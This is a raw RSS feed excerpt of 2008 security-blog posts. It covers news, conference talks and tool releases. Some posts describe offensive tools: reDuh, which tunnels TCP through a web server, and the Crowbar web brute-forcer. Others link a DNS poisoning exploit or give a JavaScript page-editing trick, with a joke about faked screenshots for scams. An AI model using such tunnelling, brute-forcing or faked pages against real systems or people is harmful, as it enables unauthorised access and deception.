				<link>https://sensepost.com/blog/2008/you-know-you-are-getting-old../</link>
				<pubDate>Tue, 28 Oct 2008 09:36:39 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/you-know-you-are-getting-old../</guid>
				<description>&lt;p&gt;When you blog a link to poetry:&lt;/p&gt;&#xA;&lt;p&gt;[&lt;a href=&#34;http://www.cdra.org.za/creativity/Rainer%20Maria%20Rilke%20-%20The%20Man%20Watching.htm&#34; target=&#34;_blank&#34;&gt;The man watching&lt;/a&gt;] is a poem by Rainer Maria Rilke, that i picked up from a talk by Tim Oreilly during his [&lt;a href=&#34;http://ca.youtube.com/watch?v=TGeVqpngTgA&#34; target=&#34;_blank&#34;&gt;recent talk&lt;/a&gt;] where he chided the audience for focusing on trivial banalities while leaving bigger problems un challenged. A subsequent speaker picked up the theme, and likened it to abandoning NASA to work on DisneyLand.&lt;/p&gt;&#xA;&lt;p&gt;I think the sentiment is grand, and the poem is inspiring.. and in particular the following lines, are probably going to keep me up nights for a while:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Windows servers are now a (beta) option on Amazon Ec2</title>
				<link>https://sensepost.com/blog/2008/windows-servers-are-now-a-beta-option-on-amazon-ec2/</link>
				<pubDate>Thu, 23 Oct 2008 21:50:58 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/windows-servers-are-now-a-beta-option-on-amazon-ec2/</guid>
				<description>&lt;p&gt;EC2 is now out of beta, and supports windows based ANI&amp;#8217;s. [&lt;a href=&#34;http://aws.typepad.com/aws/2008/10/big-day-for-ec2.html&#34; target=&#34;_blank&#34;&gt;Big Day for EC2&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;EC2 blows my mind, and from a bazillion miles away, i was truly surprised the Amazon got the jump on Google/MSFT/Apple/* with their offerings..&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;&#xA;&lt;p&gt;PS. how i managed to write on this as opposed to the [&lt;a href=&#34;http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx&#34; target=&#34;_blank&#34;&gt;Stack based, pre-auth, wormable windows RPC overflow is anyones guess&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;PPS. Actually.. in part its because im miffed. I just wrote a diatribe on how the fact that we werent goign to see another code-red / worm scare anytime soon was going to hurt us (ala aitel.owasp08) and this bug shuts me up for a bit &amp;#8211; stay tuned for &amp;#8220;is the industry still running on code-red?&amp;#8221;&lt;/p&gt;</description>
			</item>
			<item>
				<title>OWASP NYC Talks Posted..</title>
				<link>https://sensepost.com/blog/2008/owasp-nyc-talks-posted../</link>
				<pubDate>Sun, 19 Oct 2008 21:23:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/owasp-nyc-talks-posted../</guid>
				<description>&lt;p&gt;The full videos from the OWASP NYC Conf have been posted.&lt;/p&gt;&#xA;&lt;p&gt;At least one BlackHat re-run, but some look well worth the watching.. Most people can grab the videos and slide decks [&lt;a href=&#34;http://www.owasp.org/index.php/OWASP_NYC_AppSec_2008_Conference&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;], SensePost&amp;#8217;ers (except for those actually currently living in NY) can grab selected talks locally [&lt;a href=&#34;https://introonet.sensepost.com/store/cons-multimedia/OWASP_08_NYC/index.htm&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]&lt;/p&gt;</description>
			</item>
			<item>
				<title>BiDiBLAH 2.0 BETA</title>
				<link>https://sensepost.com/blog/2008/bidiblah-2.0-beta/</link>
				<pubDate>Fri, 10 Oct 2008 10:03:13 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/bidiblah-2.0-beta/</guid>
				<description>&lt;p&gt;Good news to all the blah&amp;#8217;ers out there! The BETA version of BiDiBLAH 2 is available for download &lt;a href=&#34;https://www.sensepost.com/restricted/BiDiBLAH-v2.0-BETA-30day.zip&#34;&gt;here&lt;/a&gt;.&lt;br /&gt;&#xA;As you probably know, [a real quick and easy] &lt;a href=&#34;http://www.sensepost.com/research_register.html&#34;&gt;registration&lt;/a&gt; is required, and version 2 of BiDiBLAH runs on &lt;a href=&#34;http://www.microsoft.com/downloads/details.aspx?familyid=0856eacb-4362-4b0d-8edd-aab15c5e04f5&amp;amp;displaylang=en&#34;&gt;dotnet framework 2&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;./frankieg&lt;/p&gt;</description>
			</item>
			<item>
				<title>Vulnerability management and the Blogs</title>
				<link>https://sensepost.com/blog/2008/vulnerability-management-and-the-blogs/</link>
				<pubDate>Mon, 06 Oct 2008 12:06:44 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/vulnerability-management-and-the-blogs/</guid>
				<description>&lt;p&gt;Gegroet&lt;/p&gt;&#xA;&lt;p&gt;just a quick note on VM.&lt;/p&gt;&#xA;&lt;p&gt;Google is now offering Google Blog Search Beta and I thought it interesting to see who is blogging on vulnerability management.Some of the output includes:&lt;/p&gt;&#xA;&lt;p&gt;i) &amp;#8220;Vulnerability Management&amp;#8221; = 6,330 hits&lt;/p&gt;&#xA;&lt;p&gt;ii) &amp;#8220;Vulnerability Management&amp;#8221; + Dummies = 314 hits&lt;/p&gt;&#xA;&lt;p&gt;iii) &amp;#8220;Vulnerability Management&amp;#8221; + ineffective = 16 hits&lt;/p&gt;&#xA;&lt;p&gt;iv) &amp;#8220;Vulnerability Management&amp;#8221; + effective = 314&lt;/p&gt;&#xA;&lt;p&gt;Probably 90% of all hits came from vendors and it was also evident that they were punting the &amp;#8220;successes&amp;#8221; of VM, utilising their products and services.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Sarah Palin, a yahoo email account, and something more shocking…</title>
				<link>https://sensepost.com/blog/2008/sarah-palin-a-yahoo-email-account-and-something-more-shocking/</link>
				<pubDate>Thu, 18 Sep 2008 21:10:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/sarah-palin-a-yahoo-email-account-and-something-more-shocking/</guid>
				<description>&lt;p&gt;By now everyone knows that John McCain&amp;#8217;s running mate &lt;a href=&#34;http://ap.google.com/article/ALeqM5iem-vu_mlRjRYfqkscEkw2ciRm7wD939AO101&#34; target=&#34;_blank&#34;&gt;Sarah Palin had her yahoo email account hacked&lt;/a&gt;. I guess a presidential candidate using yahoo for govt. related email was about as shocking as Sarah Palins nomination as possible future president  ((unless of course you have ever heard of other govt. officials using yahoo/gmail/hotmail for serious business)(inside joke for south africans!)).&lt;/p&gt;&#xA;&lt;p&gt;People have been talking about secure password resets for a long time [&lt;a href=&#34;http://seclists.org/webappsec/2002/q4/0013.html&#34; target=&#34;_blank&#34;&gt;1&lt;/a&gt;] and this was pretty shocking all around..&lt;/p&gt;</description>
			</item>
			<item>
				<title>A truly sweet hack!</title>
				<link>https://sensepost.com/blog/2008/a-truly-sweet-hack/</link>
				<pubDate>Fri, 12 Sep 2008 08:49:08 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/a-truly-sweet-hack/</guid>
				<description>&lt;p&gt;[&lt;a href=&#34;http://taint.org/2007/06/19/121541a.html&#34; target=&#34;_blank&#34;&gt;Solve mazes with Photoshop (or gimp)&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;i must confess that while i understand the logic of flood-fill doing a depth first search and therefor doing the lifting for u, my gimp skills are second only to my MS-Word skills and i have managed to burn about 40 minutes this morning still unable to replicate it (there goes my report writing!)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;</description>
			</item>
			<item>
				<title>Lets hope it does better than netsec.reddit..</title>
				<link>https://sensepost.com/blog/2008/lets-hope-it-does-better-than-netsec.reddit../</link>
				<pubDate>Thu, 11 Sep 2008 20:03:54 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/lets-hope-it-does-better-than-netsec.reddit../</guid>
				<description>&lt;p&gt;Introducing [&lt;a href=&#34;http://www.reddit.com/r/ReverseEngineering/&#34; target=&#34;_blank&#34;&gt;http://www.reddit.com/r/ReverseEngineering/&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2008/lets-hope-it-does-better-than-netsec-reddit/4f3de353870e15cfa8909684b7b95ce8.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;46&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/lets-hope-it-does-better-than-netsec-reddit/4f3de353870e15cfa8909684b7b95ce8.png&#34; title=&#34;reddit&#34; width=&#34;283&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;(like its name suggests, a reddit thats all about Code RE..)&lt;/p&gt;</description>
			</item>
			<item>
				<title>HBN Extended Edition 6-10 October</title>
				<link>https://sensepost.com/blog/2008/hbn-extended-edition-6-10-october/</link>
				<pubDate>Wed, 10 Sep 2008 17:42:33 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/hbn-extended-edition-6-10-october/</guid>
				<description>&lt;p&gt;We have scheduled our first training course for our new year, Hacking&lt;br /&gt;&#xA;By Numbers &amp;#8211; &amp;#8220;Extended&amp;#8221; Edition &amp;#8211; for October 6-10th . The course runs&lt;br /&gt;&#xA;for a full 5 days in Pretoria, South Africa.&lt;/p&gt;&#xA;&lt;p&gt;The HBN &amp;#8216;Extended Edition&amp;#8217; is simply an intensive extended version of&lt;br /&gt;&#xA;the regular Bootcamp course. Whilst the content and structure are&lt;br /&gt;&#xA;essentially the same as Bootcamp, the Extended Edition offers students&lt;br /&gt;&#xA;a deeper understanding of the concepts being presented and affords&lt;br /&gt;&#xA;them more time to practice the techniques being taught. Extended&lt;br /&gt;&#xA;Edition is currently only offered in Switzerland and South Africa&lt;br /&gt;&#xA;only, or can be arranged on request.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Enter Google Chrome…</title>
				<link>https://sensepost.com/blog/2008/enter-google-chrome/</link>
				<pubDate>Tue, 02 Sep 2008 11:45:04 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/enter-google-chrome/</guid>
				<description>&lt;p&gt;Google have thrown their hat in the browser-ring, which many have predicted. [&lt;a href=&#34;http://www.google.com/googlebooks/chrome/&#34; target=&#34;_blank&#34;&gt;Chrome&lt;/a&gt;]  should be coming soon to downloads near u.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;#8217;s based on [&lt;a href=&#34;http://webkit.org/&#34; target=&#34;_blank&#34;&gt;webkit&lt;/a&gt;], which you might [&lt;a href=&#34;http://www.sensepost.com/blog/2065.html&#34; target=&#34;_blank&#34;&gt;recall&lt;/a&gt;] was impressive in many ways.. It has a few other interesting promises, like a brand new javascript engine [&lt;a href=&#34;http://blogoscoped.com/google-chrome/15&#34; target=&#34;_blank&#34;&gt;which sounds like an excellent target for future hackery&lt;/a&gt;] and a simple but sweet isolation concept [&lt;a href=&#34;http://blogoscoped.com/google-chrome/4&#34; target=&#34;_blank&#34;&gt;tabs are independent processes&lt;/a&gt;].&lt;/p&gt;&#xA;&lt;p&gt;Like anything released from google, people expect it to change the world (now thats some heavy expectation-anxiety) but if nothing else it will be interesting to watch. Their comic intro is fairly comprehensive, and mixes healthy amounts of &amp;#8220;eureka&amp;#8221; with &amp;#8220;&lt;a href=&#34;http://blogoscoped.com/google-chrome/30&#34; target=&#34;_blank&#34;&gt;this is still a hard problem&lt;/a&gt;&amp;#8220;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Education and Things u know u dont know…</title>
				<link>https://sensepost.com/blog/2008/education-and-things-u-know-u-dont-know/</link>
				<pubDate>Wed, 27 Aug 2008 19:37:25 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/education-and-things-u-know-u-dont-know/</guid>
				<description>&lt;p&gt;A completely non-security related (but totally geek) blog that always makes me smile is [&lt;a href=&#34;http://indexed.blogspot.com/&#34; target=&#34;_blank&#34;&gt;http://indexed.blogspot.com/&lt;/a&gt;]. We had just started the week (or ended the last one) with a conversation on how strange it was, that some people manage to remain suprememly confident while talking authoratively on subjects they know precious little about&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;From our mouths, to Jessica&amp;#8217;s pen:&lt;br /&gt;&#xA;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2008/education-and-things-u-know-u-dont-know/d5bba990b3c758afed3dfbf3bfc7daf0.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;180&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/education-and-things-u-know-u-dont-know/d5bba990b3c758afed3dfbf3bfc7daf0.jpg&#34; title=&#34;education&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Adobe APSB08-15 Patch Reversing</title>
				<link>https://sensepost.com/blog/2008/adobe-apsb08-15-patch-reversing/</link>
				<pubDate>Wed, 27 Aug 2008 10:35:28 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/adobe-apsb08-15-patch-reversing/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://www.adobe.com/support/security/bulletins/apsb08-15.html&#34; target=&#34;_blank&#34;&gt;APSB08-15 &lt;/a&gt;is the latest adobe security advisory regarding a memory corruption vulnerabilty in Acrobat Reader versions &amp;lt;8.1.2&lt;/p&gt;&#xA;&lt;p&gt;As expected, the advisory does not include technical details about the attack vector, So let&amp;#8217;s try to reverse the related Adobe patch to find more about this vulnerability. I&amp;#8217;m going to use IDA 5.2 with patchdiff2 plugin (thanks to kris hint on this plug-in).&lt;/p&gt;&#xA;&lt;p&gt;The patch is released as a MSI file. I used Greg Duncan&amp;#8217;s &lt;a href=&#34;http://blogs.pingpoet.com/overflow/archive/2005/06/02/2449.aspx&#34;&gt;&lt;strong&gt;Less MSIèrables&lt;/strong&gt;&lt;/a&gt; tool to examine the content of this patch:&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat/DefCon 2008 – Tool Release(s)</title>
				<link>https://sensepost.com/blog/2008/blackhat/defcon-2008-tool-releases/</link>
				<pubDate>Mon, 25 Aug 2008 12:56:24 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/blackhat/defcon-2008-tool-releases/</guid>
				<description>&lt;p&gt;Hey guys..&lt;/p&gt;&#xA;&lt;p&gt;Our BlackHat/Defcon talk this year featured a few tools that we promised to release.. The first tool, or set of tools is reDuh which can be found [&lt;a href=&#34;http://www.sensepost.com/research/reDuh/&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;]. reDuh is made up of 2 parts, a local proxy and a server component (which is jsp, php or asp). If you run the local proxy on your machine while pointing it to the server component, you are able to make TCP connections clean through the web-server. This comes in surprisingly helpful (and if nothing else is really cute!). You can read more about reDuh (with pretty pictures) by checking out the [&lt;a href=&#34;http://www.sensepost.com/research/reDuh/&#34; target=&#34;_blank&#34;&gt;reduh page&lt;/a&gt;] or by checking out our [&lt;a href=&#34;http://www.sensepost.com/research/reDuh/SensePost_2008.tgz&#34; target=&#34;_blank&#34;&gt;Vegas slides&lt;/a&gt;].&lt;/p&gt;</description>
			</item>
			<item>
				<title>pwnies video posted online..</title>
				<link>https://sensepost.com/blog/2008/pwnies-video-posted-online../</link>
				<pubDate>Fri, 22 Aug 2008 13:42:28 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/pwnies-video-posted-online../</guid>
				<description>&lt;p&gt;The video of the much publicized pwnie awards has been posted to the interwebs [&lt;a href=&#34;http://video.google.com/videoplay?docid=-3572945997101058278&amp;amp;ei=TuetSLeONY_ArgLruLXJBA&#34; target=&#34;_blank&#34;&gt;gvideo link&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;Locals (SensePosters) can grab a copy [&lt;a href=&#34;https://introonet.sensepost.com/store/cons-multimedia/bh-2008/pwnies.m4v&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;] I believe it featured HalVar rapping so it should be worth at least a listen to :&amp;gt;&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;&#xA;&lt;p&gt;PS. i heard the first 3 minutes which included Alex Sotirov mention how &amp;gt;30 equates to over the hill, and humbly sumbit Malcolm Gladwells recent speech in silent 3rd hand rebuttal. [&lt;a href=&#34;http://www.davidgalenson.com/malcolmgladwell-lecture.pdf&#34; target=&#34;_blank&#34;&gt;Age before beauty &amp;#8211; the difference between young geniuses and old masters&lt;/a&gt;]&lt;/p&gt;</description>
			</item>
			<item>
				<title>BlackHat / DefCon 2008….</title>
				<link>https://sensepost.com/blog/2008/blackhat-/-defcon-2008./</link>
				<pubDate>Mon, 18 Aug 2008 23:28:34 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/blackhat-/-defcon-2008./</guid>
				<description>&lt;p&gt;Hey guys..&lt;/p&gt;&#xA;&lt;p&gt;Most of our BlackHat/Defcon team has arrived back home in one piece.. I landed with a fever and a lost voice (but to be honest i already caught something while in Vegas!)&lt;/p&gt;&#xA;&lt;p&gt;We will post some post-Vegas thoughts as soon as the dust settles, but i also promised:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The slides from our talk&lt;/li&gt;&#xA;&lt;li&gt;The tools we released&amp;#8230;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;A link to the slides is here: [&lt;a href=&#34;http://www.sensepost.com/research/reDuh/&#34; target=&#34;_blank&#34;&gt;Pushing a Camel through the eye of a Needle&lt;/a&gt;]&lt;/p&gt;</description>
			</item>
			<item>
				<title>Crowbar 0.941</title>
				<link>https://sensepost.com/blog/2008/crowbar-0.941/</link>
				<pubDate>Fri, 15 Aug 2008 12:33:37 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/crowbar-0.941/</guid>
				<description>&lt;p&gt;Quick update on your favourite brute forcer&amp;#8230; The file input &amp;#8220;MS EOF char&amp;#8221; issue has been resolved, and provision has been made for blank passwords too.  The above mentioned error meant that Crowbar incorrectly used EOF characters on *nix based files.&lt;/p&gt;&#xA;&lt;p&gt;Regarding the blank passwords, simply include the word &amp;#8220;[blank]&amp;#8221; (without the &amp;#8220;&amp;#8221;) in your brute force file and crowbar will test for blank usernames/passwords as well.&lt;/p&gt;&#xA;&lt;p&gt;For those of you that don&amp;#8217;t know, Crowbar is a generic brute force tool used for web applications.  It&amp;#8217;s free, it&amp;#8217;s light-weight, it&amp;#8217;s fast, it&amp;#8217;s kewl :&amp;gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>these tubes are quick</title>
				<link>https://sensepost.com/blog/2008/these-tubes-are-quick/</link>
				<pubDate>Thu, 24 Jul 2008 06:53:36 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/these-tubes-are-quick/</guid>
				<description>&lt;p&gt;Kaminsky&amp;#8217;s thunder has all but evaporated into a fine mist, and Ptacek has gone all silent. In the meantime, the MetaSploit crowd put their heads down and produced:&lt;/p&gt;&#xA;&lt;p&gt;http://www.caughq.org/exploits/CAU-EX-2008-0003.txt&lt;/p&gt;&#xA;&lt;p&gt;DNS poisoning for the masses.&lt;/p&gt;&#xA;&lt;p&gt;(If anything ever deservered the tag &amp;#8216;infosec-soapies&amp;#8217;, this would be it!!!)&lt;/p&gt;</description>
			</item>
			<item>
				<title>SQL Server 2005 – Where the $%#@ is that stored proc ?</title>
				<link>https://sensepost.com/blog/2008/sql-server-2005-where-the-%23@-is-that-stored-proc/</link>
				<pubDate>Tue, 15 Jul 2008 09:32:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/sql-server-2005-where-the-%23@-is-that-stored-proc/</guid>
				<description>&lt;p&gt;While doing some prodding on SQL Server, i came across this newness (of course this is probably old hat to many SQL2005 dba&amp;#8217;s)&lt;/p&gt;&#xA;&lt;p&gt;Essentially i was tryign to track down something in sp_addserver.&lt;/p&gt;&#xA;&lt;p&gt;The source of this stored proc [&lt;strong&gt;System Databases\Master\System Stored Procedures\sys.sp_addserver&lt;/strong&gt;] showed that another stored proc called: &lt;strong&gt;sys.sp_MSaddserver_internal&lt;/strong&gt; was being called.&lt;/p&gt;&#xA;&lt;p&gt;For the life of me though, i could not track down &lt;strong&gt;sys.sp_MSaddserver_internal&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Turns out the answer is reasonably well documented [&lt;a href=&#34;http://msdn.microsoft.com/en-us/library/ms190940.aspx&#34; target=&#34;_blank&#34;&gt;SQL Books Online&lt;/a&gt;], with 2005 &amp;#8211; MSFT moved stored procs / and friends into a readonly hidden db. This can be made visible by copying the physical .mdf files and attaching them. [&lt;a href=&#34;http://www.aspfaq.com/sql2005/show.asp?id=28&#34; target=&#34;_blank&#34;&gt;Process reasonably documented on the interwebs if you know what to search for&lt;/a&gt;]&lt;/p&gt;</description>
			</item>
			<item>
				<title>Forget Dan’s DNS, the Armageddon Comes from Intel’s CPUs</title>
				<link>https://sensepost.com/blog/2008/forget-dans-dns-the-armageddon-comes-from-intels-cpus/</link>
				<pubDate>Tue, 15 Jul 2008 09:30:25 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/forget-dans-dns-the-armageddon-comes-from-intels-cpus/</guid>
				<description>&lt;p&gt;Kaspersky will show how processor bugs can be exploited using certain instruction sequences and a knowledge of how Java compilers work, allowing an attacker to take control of the compiler.&lt;/p&gt;&#xA;&lt;p&gt;The demonstrated attack will be made against fully patched computers running a range of operating systems, including Windows XP, Vista, Windows Server 2003, Windows Server 2008, Linux and BSD. The demo will be presented at the Hack In The Box Security Conference in Kuala Lumpur in October&lt;/p&gt;</description>
			</item>
			<item>
				<title>What? no comment on the DNS thing ??</title>
				<link>https://sensepost.com/blog/2008/what-no-comment-on-the-dns-thing/</link>
				<pubDate>Fri, 11 Jul 2008 08:38:30 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/what-no-comment-on-the-dns-thing/</guid>
				<description>&lt;p&gt;Mostly we have stayed silent, because too many people have commented too much already.. It was interesting however how &lt;a href=&#34;http://www.matasano.com/log/1093/patch-your-non-djbdns-server-now-dan-was-right-i-was-wrong/&#34; target=&#34;_blank&#34;&gt;Ptacek was quite deftly forced to eat his words&lt;/a&gt; by a Dan Kaminsky phonecall..&lt;/p&gt;&#xA;&lt;p&gt;The &amp;#8220;ill tell everyone all during my Vegas talk&amp;#8221; angle is an obvious way to pack the room.. but hey, cheaper tricks have been pulled to pack rooms in the past.. [and if anyone didnt need help packing a room, its dan.. he has a cult following]&lt;/p&gt;</description>
			</item>
			<item>
				<title>funky javascript</title>
				<link>https://sensepost.com/blog/2008/funky-javascript/</link>
				<pubDate>Mon, 07 Jul 2008 23:05:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/funky-javascript/</guid>
				<description>&lt;p&gt;found this online last night. try in FF or IE7:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;javascript:document.body.contentEditable=&#39;true&#39;; document.designMode=&#39;on&#39;; void 0&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;then edit the page in-place, screenshot, and make your scam millions&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;at least, it beats editing HTML?&lt;/p&gt;</description>
			</item>
			<item>
				<title>Forget the python vs ruby discussions..</title>
				<link>https://sensepost.com/blog/2008/forget-the-python-vs-ruby-discussions../</link>
				<pubDate>Sat, 05 Jul 2008 21:30:41 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/forget-the-python-vs-ruby-discussions../</guid>
				<description>&lt;p&gt;Cause &lt;a href=&#34;http://search.cpan.org/~kcowgill/Acme-LOLCAT-0.0.4/lib/Acme/LOLCAT.pm&#34; target=&#34;_blank&#34;&gt;this&lt;/a&gt; puts Perl right back in the game!&lt;/p&gt;&#xA;&lt;p&gt;-snip-&lt;/p&gt;&#xA;&lt;p&gt;&amp;gt; &lt;strong&gt;sudo perl -MCPAN -e shell&lt;/strong&gt;&lt;br /&gt;&#xA;cpan&amp;gt; install Acme::LOLCAT&lt;br /&gt;&#xA;install  &amp;#8212; OK&lt;/p&gt;&#xA;&lt;p&gt;&amp;gt; &lt;strong&gt;cat demo.pl &lt;/strong&gt;&lt;br /&gt;&#xA;#!/usr/bin/perl&lt;br /&gt;&#xA;use Acme::LOLCAT;&lt;br /&gt;&#xA;print translate($ARGV[0]);&lt;/p&gt;&#xA;&lt;p&gt;&amp;gt; &lt;strong&gt;./demo.pl &amp;#8220;Im going to run all emails through this before sending&amp;#8221;&lt;/strong&gt;&lt;br /&gt;&#xA;IM GOINS 2 RUN ALL EMAILZ THROUGH THIZ BEFORE SENDIN&lt;/p&gt;&#xA;&lt;p&gt;-snip-&lt;/p&gt;&#xA;&lt;p&gt;ahhh.. MUH WORK AR DONE HERE&lt;/p&gt;</description>
			</item>
			<item>
				<title>A blog that hasnt mentioned the OSX priv escalation bug OR Firefox3 ???</title>
				<link>https://sensepost.com/blog/2008/a-blog-that-hasnt-mentioned-the-osx-priv-escalation-bug-or-firefox3/</link>
				<pubDate>Mon, 23 Jun 2008 07:43:09 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/a-blog-that-hasnt-mentioned-the-osx-priv-escalation-bug-or-firefox3/</guid>
				<description>&lt;p&gt;well.. 50% right..&lt;/p&gt;&#xA;&lt;p&gt;But im not going to talk about FireFoxs r&lt;a href=&#34;http://www.spreadfirefox.com/en-US/worldrecord&#34; target=&#34;_blank&#34;&gt;ecord breaking download&lt;/a&gt;, or the&lt;a href=&#34;http://dvlabs.tippingpoint.com/blog/2008/06/18/vulnerability-in-mozilla-firefox-30&#34; target=&#34;_blank&#34;&gt; bug that was released in record time&lt;/a&gt;.. but want to point you at Andy Inhatko&amp;#8217;s r&lt;a href=&#34;http://www.suntimes.com/technology/ihnatko/1013635,CST-FIN-andy19.article&#34; target=&#34;_blank&#34;&gt;eview of Firefox3&lt;/a&gt;. Andy is old school mac diehard, and is a regular on the &lt;a href=&#34;http://twit.tv/mbw&#34; target=&#34;_blank&#34;&gt;MacBreak podcast&lt;/a&gt; but says:&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8220;But with 3.0 . . . well, we have a victor. Firefox 3.0 should be your default browser, starting right now.&amp;#8221;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Very decent Security Podcast..</title>
				<link>https://sensepost.com/blog/2008/very-decent-security-podcast../</link>
				<pubDate>Tue, 17 Jun 2008 10:43:05 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/very-decent-security-podcast../</guid>
				<description>&lt;p&gt;I am probably one of the last ppl around to discover this, but ill post it here for the (probably) 2 other ppl in the world who have yet to stumble upon: &lt;a href=&#34;http://itradio.com.au/security/&#34; target=&#34;_blank&#34;&gt;Risky Business&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Its pretty hard to find good quality security podcasts without some pretty sad signal to noise ratios (or adverts on spinwrite) but risky business is def. a keeper..&lt;/p&gt;&#xA;&lt;p&gt;i downloaded a few older episodes to help me through a long drive this weekend, and was very pleasantly surprised.. if u have not yet added it to your podcatcher.. u probably will..&lt;/p&gt;</description>
			</item>
			<item>
				<title>rethinking ye old truths</title>
				<link>https://sensepost.com/blog/2008/rethinking-ye-old-truths/</link>
				<pubDate>Fri, 13 Jun 2008 00:18:01 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/rethinking-ye-old-truths/</guid>
				<description>&lt;p&gt;since forever, i&amp;#8217;ve been told (and told others) that the greatest threat is from the inside. turns out, not so much. verizon business (usa) apparently conducted a four year study on incidents inside their organisation and found that the vast majority, 73%, originated from outside. however, the majority of breaches occurred as a result of errors in internal behaviour such as misconfigs, missing patches etc. (62% of cases).&lt;/p&gt;&#xA;&lt;p&gt;So attackers are generally outsiders taking advantage of bad internal behaviours, rather than local users finding 0-day. From the exec summary:&lt;/p&gt;</description>
			</item>
			<item>
				<title>Carpet Bombing and eating Crow…</title>
				<link>https://sensepost.com/blog/2008/carpet-bombing-and-eating-crow/</link>
				<pubDate>Thu, 12 Jun 2008 10:29:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/carpet-bombing-and-eating-crow/</guid>
				<description>&lt;p&gt;The recent &lt;a href=&#34;http://www.dhanjani.com/archives/2008/05/safari_carpet_bomb.html&#34; target=&#34;_blank&#34;&gt;Safari Carpet Bombing bug&lt;/a&gt; reported by &lt;a href=&#34;http://www.dhanjani.com/&#34; target=&#34;_blank&#34;&gt;Nitesh Dhanjani&lt;/a&gt; and ignored by Apple had all the makings of an egg-on-face incident. We were discussing it over foosball, and the obvious consensus was &amp;#8220;if a line starts with: &amp;#8220;thats not exploitable, its only..&amp;#8221; then odds are you are wrong..&amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;But.. lots of people quicker and smarter than me [&lt;a href=&#34;http://blogs.zdnet.com/security/?p=1136&#34; target=&#34;_blank&#34;&gt;1&lt;/a&gt;, &lt;a href=&#34;http://blogs.zdnet.com/security/?p=1111&#34; target=&#34;_blank&#34;&gt;2&lt;/a&gt;, &lt;a href=&#34;http://blogs.technet.com/robert_hensing/archive/2008/05/22/safari-carpet-bombing-fail-open-goat-award.aspx&#34; target=&#34;_blank&#34;&gt;3&lt;/a&gt;] blogged (&lt;a href=&#34;http://twitter.com/dakami/statuses/818661478&#34; target=&#34;_blank&#34;&gt;or twittered&lt;/a&gt;) about why this was a silly approach for apple to take..&lt;/p&gt;</description>
			</item>
			<item>
				<title>This has nothing to do with anything technical..</title>
				<link>https://sensepost.com/blog/2008/this-has-nothing-to-do-with-anything-technical../</link>
				<pubDate>Sun, 08 Jun 2008 11:06:22 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/this-has-nothing-to-do-with-anything-technical../</guid>
